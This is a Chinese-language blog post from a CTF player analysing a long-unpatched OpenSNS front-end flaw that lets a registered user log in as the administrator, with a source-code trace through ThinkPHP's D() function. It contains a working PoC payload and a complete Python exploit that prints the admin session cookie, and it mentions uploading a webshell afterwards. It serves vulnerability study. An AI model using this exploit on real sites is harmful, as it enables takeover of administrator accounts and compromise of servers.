OpenSNS 前台越权登录管理员账号漏洞分析

OpenSNS 前台越权登录管理员账号漏洞分析

编程那点事 随便写写 PHP 2847 字 / 6 分钟

上个月打 ByteCTF 线下 AWD 时,有一个靶机是 OpenSNS 这个站。比赛第一天情况还好,全场基本上只拿着主办方留的后门互相打;到了第二天早上才爆出了两个洞,我对着流量陆陆续续地修了好久。 其中一个是因为 ThinkPHP 3 的模板设计缺陷而引发的漏洞,这是 ThinkPHP 3 开发的那一套 CMS 的通病,这里就不赘述了,具体可以阅读 @Li4n0 的这篇文章TinkcmfX 前台任意代码执行分析,里面有很详细的分析。 另一个就是 OpenSNS 自身的前台 Getshell 漏洞了。然而这并不是什么新鲜的 0day,早在 2017 年就有人发现,但是官方到现在还一直没修。网上的文章大多是通过变量覆盖 + 文件上传 + SQL 注入从而 Getshell。这里想讲讲我在线下赛分析流量时找到的另一种利用方式——登录管理员账号。

PoC

注册一个普通用户,POST 请求:

http://localhost/index.php?s=/weibo/share/doSendShare

带上登录用户的 Cookie 发送如下 Payload:

KeyValue
queryfrom[]=1&app=Admin&model=Member&id=1&method=login
content123123

回显提示分享成功后,访问http://localhost/admin会发现我们现在变成了管理员账号登录,可以对网站后台进行操作。

动调一下吧~

从 OpenSNS 官网下载最新开源版源码,部署好后开始动调。(这里提醒一下,从 OpenSNS 官网下载源码需要手机号验证,建议自行寻找第三方接码平台解决,不然之后会收到客服电话骚扰) 根据上面 PoC 是访问了doSendShare方法,我们在/Application/Weibo/Controller/ShareController.class.php L20 处找到doSendShare方法的定义:

public function doSendShare(){
	$aContent = I('post.content','','text');
	$aQuery = I('post.query','','text');
	parse_str($aQuery,$feed_data);

	if(empty($aContent)){
		$this->error(L('_ERROR_CONTENT_CANNOT_EMPTY_'));
	}
	if(!is_login()){
		$this->error(L('_ERROR_SHARE_PLEASE_FIRST_LOGIN_'));
	}

	$new_id = send_weibo($aContent, 'share', $feed_data,$feed_data['from']);

	$info =  D('Weibo/Share')->getInfo($feed_data);
	$toUid = $info['uid'];
	$message_content=array(
		'keyword1'=>  parse_content_for_message($aContent),
		'keyword2'=>'分享了你的:',
		'keyword3'=>$info['title']?$info['title']:"未知内容!"
	);
	send_message($toUid, L('_PROMPT_SHARE_'),$message_content,  'Weibo/Index/weiboDetail', array('id' => $new_id), is_login(), 'Weibo','Weibo_comment');

	$result['url'] ='';
	//返回成功结果
	$result['status'] = 1;
	$result['info'] = L('_SUCCESS_SHARE_').L('_EXCLAMATION_') . cookie('score_tip');
	$this->ajaxReturn($result);

}

这里接收了我们传入的contentquery两个 POST 参数,问题就出在下面的第 23 行:

parse_str($aQuery,$feed_data);

这里使用parse_str将我们传入的query参数的键值存入了$feed_data变量中。 后面的send_weibo方法是数据的入库操作,和漏洞无关。 之后$feed_data传入了getInfo方法中。

我们可以在ThinkPHP/Common/functions.php L643 处找到D()函数的定义,它是用来实例化类的。D('Weibo/Share')加载了Application/Weibo/Model/ShareModel.class.php这个类,其中getInfo方法如下:

public function getInfo($param)
{
	$info = array();
	if(!empty($param['app']) && !empty($param['model']) && !empty($param['method'])){
		$info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']);
	}

	return $info;
}

形参$param就是传入的$feed_data,payload 中的app=Admin&model=Member&method=login&id=1,经过parse_str后,对应了这边的$param['app'] $param['model']) $param['method']) $param['id'],刚好使得if判断的条件满足,调用了下面的D()函数。 跟进D()函数:

function D($name = '', $layer = '')
{
    if (empty($name)) return new Think\Model;
    static $_model = array();
    $layer = $layer ? : C('DEFAULT_M_LAYER');
    if (isset($_model[$name . $layer]))
        return $_model[$name . $layer];
    $class = parse_res_name($name, $layer);
    if (class_exists($class)) {
        $model = new $class(basename($name));
    } elseif (false === strpos($name, '/')) {
        // 自动加载公共模块下面的模型
        if (!C('APP_USE_NAMESPACE')) {
            import('Common/' . $layer . '/' . $class);
        } else {
            $class = '\\Common\\' . $layer . '\\' . $name . $layer;
        }
        $model = class_exists($class) ? new $class($name) : new Think\Model($name);
    } else {
        \Think\Log::record('D方法实例化没找到模型类' . $class, Think\Log::NOTICE);
        $model = new Think\Model(basename($name));
    }
    $_model[$name . $layer] = $model;
    return $model;
}

这里的$layer我们不可控,会从C('DEFAULT_M_LAYER')中获取,值为Model。传入parse_res_name()函数中,返回值为Admin\Model\MemberModel,后面的class_exists会触发已经注册好的自动加载autoload()函数加载类。之后将类进行实例化,放入$_model数组中方便下次调用,再返回这个实例。 这样我们就成功初始化了MemberModel这个类,后面的$param['method']指定了调用其login方法,传入形参id的值1/Application/Admin/Model/MemberModel.class.php L35

public function login($uid){
	/* 检测是否在当前应用注册 */
	$user = $this->field(true)->find($uid);
	if(!$user || 1 != $user['status']) {
		$this->error = L('_USERS_DO_NOT_EXIST_OR_HAVE_BEEN_DISABLED_WITH_EXCLAMATION_'); //应用级别禁用
		return false;
	}

	//记录行为
	action_log('user_login', 'member', $uid, $uid);

	/* 登录用户 */
	$this->autoLogin($user);
	return true;
}

看到这里就很清楚了,这里面的$this->autoLogin($user);使得我们登录了 ID 为 1 的管理员账户。有兴趣的话可以跟进去,发现他根据传入的$uid从数据库里拿出了管理员的信息,然后写到了我们当前的 Session 中。

需要注意的点

这里调用了D()函数进行实例化类,但是注意我们只能控制其$name参数,而$layer参数我们无法控制。这就导致$layer每次都取默认值Model只能实例化XXXModel这样的类。网上的方法是调用UploadModel配合 SQL 注入进行上传 shell。我这里登录管理员账号后,可以通过上传包含 Webshell 的 zip 主题文件。之后会解压放到Theme目录下。

附上 exp:

import string
import requests
import random
import json

url = 'http://localhost/'


def random_str(length=5):
    return ''.join(random.sample(string.ascii_letters, length)) + ''.join(random.sample(string.digits, length))


req = requests.session()
req.get(url)

# 注册
register = req.post(url + '/index.php?s=/ucenter/member/register.html',
                    data='role=1&username=' + random_str() + '%40' + random_str() + '.com®_type=email&nickname=' + random_str() + '&code=&password=' + random_str(),
                    headers={
                        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
                        "Referer": url + "/index.php?s=/ucenter/member/register.html",
                        "Sec-Fetch-Mode": "cors",
                        "Sec-Fetch-Site": "same-origin",
                        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36",
                        "X-Requested-With": "XMLHttpRequest",
                    })

resp = json.loads(register.text)
if resp['status'] != 1:
    print('[x] 注册用户失败!')
    exit()

print("[-] 注册用户成功!")
# 注册成功
req.get(url + '/index.php?s=/ucenter/member/step/step/finish.html')

print("[-] 开始提权")
# Send payload
payload = "query=from%5B%5D%3D1%26app%3DAdmin%26model%3DMember%26id%3D1%26method%3Dlogin&content=123123"
resp = req.post(url + '/index.php?s=/weibo/share/doSendShare', data=payload,
                headers={'Content-Type': "application/x-www-form-urlencoded"})
print("[-] 管理员 Cookie:PHPSESSID=" + req.cookies.get_dict()['PHPSESSID'])

最后说两句

总得来看这个洞还是蛮有意思的,但是仅限于Model结尾的类使得了我没能再找到新的利用链。 最多就是通过以上,去调用/Application/Common/Model/ScheduleModel.class.php这个类里面的runSchedule方法:

public function runSchedule($schedule)
{
	if ($schedule['status'] == 1) {
		$method = explode('->', $schedule['method']);
		parse_str($schedule['args'], $args);  //分解参数
		try {
			$return = D($method[0])->$method[1]($args, $schedule); //执行model中的方法
		} catch (\Exception $exception) {
			$return = false;
		}
		if ($return) {
			$log = '任务已运行,描述:' . $schedule['intro'];
		} else {
			$log = '任务运行失败,描述:' . $schedule['intro'];
		}
		$this->writeLog($schedule['id'], $log);
	}
	return true;
}

其入参$schedule我们可控,这里也是用D()函数实例化了类,后面调用的类方法也是可控的。和上面不同的是,这里的类方法我们可以传两个参数了!(然并卵)

然后在/ThinkPHP/Library/Think/Model/AdvModel.class.php L255有一个returnResult方法:

public function returnResult($data,$type='') {
	if('' === $type)
		$type = $this->returnType;
	switch($type) {
		case 'array' :  return $data;
		case 'object':  return (object)$data;
		default:// 允许用户自定义返回类型
			if(class_exists($type))
				return new $type($data);        //HERE
			else
				E(L('_CLASS_NOT_EXIST_').':'.$type);
	}
}

这里可以通过前面的getInfo()函数,调到ScheduleModel.class.php里的runSchedule,然后传入两个参数,调用到这个returnResult();这样$data$type我们都可控了。到后面的new $type($data)就可以实例化任意的类了。但是我找了很久,也没找到能利用的构造函数或析构函数。(还是太菜了

找了好几天,还是没找到新的利用链。不太想再在这上面花更多的时间了。说白了还是菜